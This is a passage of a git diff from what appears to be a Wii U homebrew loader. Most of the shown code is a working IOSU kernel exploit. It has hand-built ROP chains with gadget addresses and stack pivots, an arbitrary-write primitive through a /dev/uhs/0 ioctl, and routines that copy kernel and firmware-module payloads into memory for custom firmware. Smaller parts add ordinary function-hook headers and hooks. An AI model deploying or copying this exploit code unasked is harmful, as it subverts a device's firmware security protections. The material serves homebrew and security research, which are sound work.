0x1012ED4C, // 0x1E4 IOS_FlushDCache(void *ptr, unsigned int len)
|
||||
0x0, // 0x1DC
|
||||
0x0, // 0x1E0
|
||||
0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC}
|
||||
ARM_CODE_BASE, // 0x1E8 our code destination address
|
||||
0x0, // 0x1EC
|
||||
0x0, // 0x1F0
|
||||
0x101063db, // 0x1F4 POP {R1,R2,R5,PC}
|
||||
0x0, // 0x1F8
|
||||
sizeof(ios_kernel_bin), // 0x1FC our code size
|
||||
0x0, // 0x200
|
||||
0x10123983, // 0x204 POP {R1,R3,R4,R6,PC}
|
||||
0x00140000, // 0x208 our code source location
|
||||
0x08131D04, // 0x20C KERNEL_MEMCPY address
|
||||
0x0, // 0x210
|
||||
0x0, // 0x214
|
||||
0x1012EBB4, // 0x218 IOS_GetUpTime64 (privileged stack pivot)
|
||||
0x0,
|
||||
0x0,
|
||||
0x101312D0,
|
||||
};
|
||||
|
||||
static const int second_chain[] = {
|
||||
0x10123a9f, // 0x00 POP {R0,R1,R4,PC}
|
||||
CHAIN_START + 0x14 + 0x4 + 0x20 - 0xF000, // 0x04 destination
|
||||
0x0, // 0x08
|
||||
0x0, // 0x0C
|
||||
0x101063db, // 0x10 POP {R1,R2,R5,PC}
|
||||
0x00130000, // 0x14 source
|
||||
sizeof(final_chain), // 0x18 length
|
||||
0x0, // 0x1C
|
||||
0x10106D4C, // 0x20 BL MEMCPY; MOV R0, #0; LDMFD SP!, {R4,R5,PC}
|
||||
0x0, // 0x24
|
||||
0x0, // 0x28
|
||||
0x101236f3, // 0x2C POP {R1-R7,PC}
|
||||
0x0, // 0x30 arg
|
||||
0x101001DC, // 0x34 stackptr
|
||||
0x68, // 0x38 stacksize
|
||||
0x10101634, // 0x3C proc: ADD SP, SP, #8; LDMFD SP!, {R4,R5,PC}
|
||||
0x0, // 0x40
|
||||
0x0, // 0x44
|
||||
0x0, // 0x48
|
||||
0x1010388C, // 0x4C CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC}
|
||||
0x0, // 0x50
|
||||
0x0, // 0x54
|
||||
0x1012CFEC, // 0x58 MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x5C
|
||||
0x0, // 0x60
|
||||
IOS_CREATETHREAD, // 0x64
|
||||
0x1, // 0x68 priority
|
||||
0x2, // 0x6C flags
|
||||
0x0, // 0x70
|
||||
0x0, // 0x74
|
||||
0x101063db, // 0x78 POP {R1,R2,R5,PC}
|
||||
0x0, // 0x7C
|
||||
-(0x240 + 0x18 + 0xF000), // 0x80 stack offset
|
||||
0x0, // 0x84
|
||||
0x101141C0, // 0x88 MOV R0, R9; ADD SP, SP, #0xC; LDMFD SP!, {R4-R11,PC}
|
||||
0x0,
|
||||
0x0,
|
||||
0x0,
|
||||
0x00110000 - 0x44, // 0x8C
|
||||
0x00110010, // 0x90
|
||||
0x0, // 0x94
|
||||
0x0, // 0x98
|
||||
0x0, // 0x9C
|
||||
0x0, // 0xA0
|
||||
0x0, // 0xA4
|
||||
0x4, // 0xA8 R11 must equal 4 in order to pivot the stack
|
||||
0x101088F4, // STR R0, [R4,#0x44]; MOVEQ R0, R5; STRNE R3, [R5]; LDMFD SP!, {R4,R5,PC}
|
||||
0x0,
|
||||
0x0,
|
||||
0x1012EA68, // 0xAC stack pivot
|
||||
};
|
||||
|
||||
static void uhs_exploit_init(int dev_uhs_0_handle, cfw_config_t * config)
|
||||
{
|
||||
ayylmao[5] = 1;
|
||||
ayylmao[8] = 0x500000;
|
||||
|
||||
memcpy((char*)(0xF4120000), second_chain, sizeof(second_chain));
|
||||
memcpy((char*)(0xF4130000), final_chain, sizeof(final_chain));
|
||||
memcpy((char*)(0xF4140000), ios_kernel_bin, sizeof(ios_kernel_bin));
|
||||
|
||||
payload_info_t *payloads = (payload_info_t*)0xF4148000;
|
||||
|
||||
payloads->size = sizeof(cfw_config_t);
|
||||
memcpy(payloads->data, config, payloads->size);
|
||||
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
|
||||
|
||||
payloads->size = sizeof(ios_usb_bin);
|
||||
memcpy(payloads->data, ios_usb_bin, payloads->size);
|
||||
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
|
||||
|
||||
payloads->size = sizeof(ios_fs_bin);
|
||||
memcpy(payloads->data, ios_fs_bin, payloads->size);
|
||||
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
|
||||
|
||||
payloads->size = sizeof(ios_bsp_bin);
|
||||
memcpy(payloads->data, ios_bsp_bin, payloads->size);
|
||||
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
|
||||
|
||||
payloads->size = sizeof(ios_acp_bin);
|
||||
memcpy(payloads->data, ios_acp_bin, payloads->size);
|
||||
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
|
||||
|
||||
payloads->size = sizeof(ios_mcp_bin);
|
||||
memcpy(payloads->data, ios_mcp_bin, payloads->size);
|
||||
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
|
||||
|
||||
/*if(config->launchImage){
|
||||
FILE *pFile = fopen(APP_PATH "/launch_image.tga", "rb");
|
||||
if(pFile)
|
||||
{
|
||||
fseek(pFile, 0, SEEK_END);
|
||||
payloads->size = ftell(pFile);
|
||||
fseek(pFile, 0, SEEK_SET);
|
||||
fread(payloads->data, 1, payloads->size, pFile);
|
||||
fclose(pFile);
|
||||
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
|
||||
}
|
||||
else
|
||||
{
|
||||
payloads->size = launch_image_tga_size;
|
||||
memcpy(payloads->data, launch_image_tga, payloads->size);
|
||||
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
|
||||
}
|
||||
}*/
|
||||
pretend_root_hub[33] = 0x500000;
|
||||
pretend_root_hub[78] = 0;
|
||||
|
||||
DCStoreRange(pretend_root_hub + 33, 200);
|
||||
DCStoreRange((void*)0xF4120000, sizeof(second_chain));
|
||||
DCStoreRange((void*)0xF4130000, sizeof(final_chain));
|
||||
DCStoreRange((void*)0xF4140000, sizeof(ios_kernel_bin));
|
||||
DCStoreRange((void*)0xF4148000, ((u32)payloads) - 0xF4148000);
|
||||
}
|
||||
|
||||
static int uhs_write32(int dev_uhs_0_handle, int arm_addr, int val)
|
||||
{
|
||||
ayylmao[520] = arm_addr - 24; //! The address to be overwritten, minus 24 bytes
|
||||
DCStoreRange(ayylmao, 521 * 4); //! Make CPU fetch new data (with updated adress)
|
||||
OSSleepTicks(0x200000); //! Improves stability
|
||||
int request_buffer[] = { -(0xBEA2C), val }; //! -(0xBEA2C) gets IOS_USB to read from the middle of MEM1
|
||||
int output_buffer[32];
|
||||
return IOS_Ioctl(dev_uhs_0_handle, 0x15, request_buffer, sizeof(request_buffer), output_buffer, sizeof(output_buffer));
|
||||
}
|
||||
|
||||
int ExecuteIOSExploit(cfw_config_t * config){
|
||||
DEBUG_FUNCTION_LINE("Running ExecuteIOSExploit\n");
|
||||
int iosuhaxFd = IOS_Open("/dev/iosuhax", 0);
|
||||
if(iosuhaxFd >= 0){
|
||||
int dummy = 0;
|
||||
|
||||
IOS_Ioctl(iosuhaxFd, 0x03, &dummy, sizeof(dummy), &dummy, sizeof(dummy));
|
||||
|
||||
//! do not run patches again as that will most likely crash
|
||||
//! because the wupserver and the iosuhax dev node are still running
|
||||
//! just relaunch IOS with new configuration
|
||||
IOS_Close(iosuhaxFd);
|
||||
}
|
||||
|
||||
//! execute exploit
|
||||
int dev_uhs_0_handle = IOS_Open("/dev/uhs/0", 0);
|
||||
if(dev_uhs_0_handle < 0){
|
||||
DEBUG_FUNCTION_LINE("Failed to open \"/dev/uhs/0\"\n");
|
||||
return dev_uhs_0_handle;
|
||||
}
|
||||
|
||||
uhs_exploit_init(dev_uhs_0_handle, config);
|
||||
uhs_write32(dev_uhs_0_handle, CHAIN_START + 0x14, CHAIN_START + 0x14 + 0x4 + 0x20);
|
||||
uhs_write32(dev_uhs_0_handle, CHAIN_START + 0x10, 0x1011814C);
|
||||
uhs_write32(dev_uhs_0_handle, CHAIN_START + 0xC, SOURCE);
|
||||
|
||||
uhs_write32(dev_uhs_0_handle, CHAIN_START, 0x1012392b); // pop {R4-R6,PC}
|
||||
|
||||
IOS_Close(dev_uhs_0_handle);
|
||||
DEBUG_FUNCTION_LINE("Function end\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
void ExecuteIOSExploitWithDefaultConfig(){
|
||||
cfw_config_t config;
|
||||
config.viewMode = 0;
|
||||
config.directLaunch = 0;
|
||||
config.launchImage = 0;
|
||||
config.noIosReload = 1;
|
||||
config.launchSysMenu = 0;
|
||||
config.redNAND = 0;
|
||||
config.seeprom_red = 0;
|
||||
config.otp_red = 0;
|
||||
config.syshaxXml = 0;
|
||||
ExecuteIOSExploit(&config);
|
||||
}
|
16
loader/src/myutils/mocha.h
Normal file
16
loader/src/myutils/mocha.h
Normal file
@ -0,0 +1,16 @@
|
||||
#ifndef __MOCHA_HOOK_H_
|
||||
#define __MOCHA_HOOK_H_
|
||||
|
||||
#include "../mocha/src/cfw_config.h"
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
void ExecuteIOSExploitWithDefaultConfig();
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // __MOCHA_HOOK_H_
|
@ -16,8 +16,8 @@
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
****************************************************************************/
|
||||
|
||||
#ifndef _FUNCTION_HOOKS_H_
|
||||
#define _FUNCTION_HOOKS_H_
|
||||
#ifndef _FUNCTION_PATCHER_HOOKS_H_
|
||||
#define _FUNCTION_PATCHER_HOOKS_H_
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
@ -88,12 +88,8 @@ u32 new_GetAddressOfFunction(const char * functionName,wups_loader_library_type_
|
||||
s32 new_isDynamicFunction(u32 physicalAddress);
|
||||
void new_resetLibs();
|
||||
|
||||
//Orignal code by Chadderz.
|
||||
#define MAKE_MAGIC(x, lib,functionType) { (u32) my_ ## x, (u32) &real_ ## x, lib, # x,0,0,functionType,0}
|
||||
#define MAKE_MAGIC_NAME(x,y, lib,functionType) { (u32) my_ ## x, (u32) &real_ ## x, lib, # y,0,0,functionType,0}
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif /* _FS_H */
|
||||
#endif /* _FUNCTION_PATCHER_HOOKS_H_ */
|
||||
|
34
loader/src/patcher/hooks_patcher.cpp
Normal file
34
loader/src/patcher/hooks_patcher.cpp
Normal file
@ -0,0 +1,34 @@
|
||||
#include <utils/logger.h>
|
||||
#include <utils/function_patcher.h>
|
||||
#include "common/retain_vars.h"
|
||||
#include "hooks_patcher.h"
|
||||
#include "main.h"
|
||||
|
||||
DECL(void, __PPCExit, void){
|
||||
DEBUG_FUNCTION_LINE("__PPCExit\n");
|
||||
|
||||
DeInit();
|
||||
|
||||
real___PPCExit();
|
||||
}
|
||||
|
||||
DECL(u32, ProcUIProcessMessages, u32 u){
|
||||
u32 res = real_ProcUIProcessMessages(u);
|
||||
if(res != gAppStatus){
|
||||
DEBUG_FUNCTION_LINE("App status changed from %d to %d \n",gAppStatus,res);
|
||||
gAppStatus = res;
|
||||
}
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
hooks_magic_t method_hooks_hooks[] __attribute__((section(".data"))) = {
|
||||
MAKE_MAGIC(__PPCExit, LIB_CORE_INIT, STATIC_FUNCTION),
|
||||
MAKE_MAGIC(ProcUIProcessMessages, LIB_PROC_UI, DYNAMIC_FUNCTION),
|
||||
};
|
||||
|
||||
u32 method_hooks_size_hooks __attribute__((section(".data"))) = sizeof(method_hooks_hooks) / sizeof(hooks_magic_t);
|
||||
|
||||
//! buffer to store our instructions needed for our replacements
|
||||
volatile u32 method_calls_hooks[sizeof(method_hooks_hooks) / sizeof(hooks_magic_t) * FUNCTION_PATCHER_METHOD_STORE_SIZE] __attribute__((section(".data")));
|
||||
|
18
loader/src/patcher/hooks_patcher.h
Normal file
18
loader/src/patcher/hooks_patcher.h
Normal file
@ -0,0 +1,18 @@
|
||||
#ifndef _HOOKS_FUNCTION_PATCHER_H
|
||||
#define _HOOKS_FUNCTION_PATCHER_H
|
||||
|
||||
#include <utils/function_patcher.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
extern hooks_magic_t method_hooks_hooks[];
|
||||
extern u32 method_hooks_size_hooks;
|
||||
extern volatile u32 method_calls_hooks[];
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif /* _HOOKS_FUNCTION_PATCHER_H */
|
Loading…
Reference in New Issue
Block a user